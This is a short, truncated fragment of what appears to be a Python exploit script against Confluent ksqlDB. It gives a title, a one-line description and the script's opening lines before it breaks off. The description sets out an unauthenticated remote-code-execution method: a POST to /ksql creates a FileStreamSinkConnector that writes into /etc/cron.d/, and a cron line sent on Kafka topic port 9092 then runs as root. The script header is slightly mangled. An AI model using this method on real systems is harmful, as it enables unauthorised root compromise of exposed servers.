ksqlDB unauthenticated CREATE SINK CONNECTOR cron root RCE

UNAUTH POST /ksql creates FileStreamSinkConnector writing /etc/cron.d/; produce cron line on Kafka topic 9092 for root execution. !/usr/bin/env python3 -- coding: utf-8 -- """Confluent ksqlDB unauthenticated FileStreamSinkConnector cron root RCE.""" from future import annotations import json impo...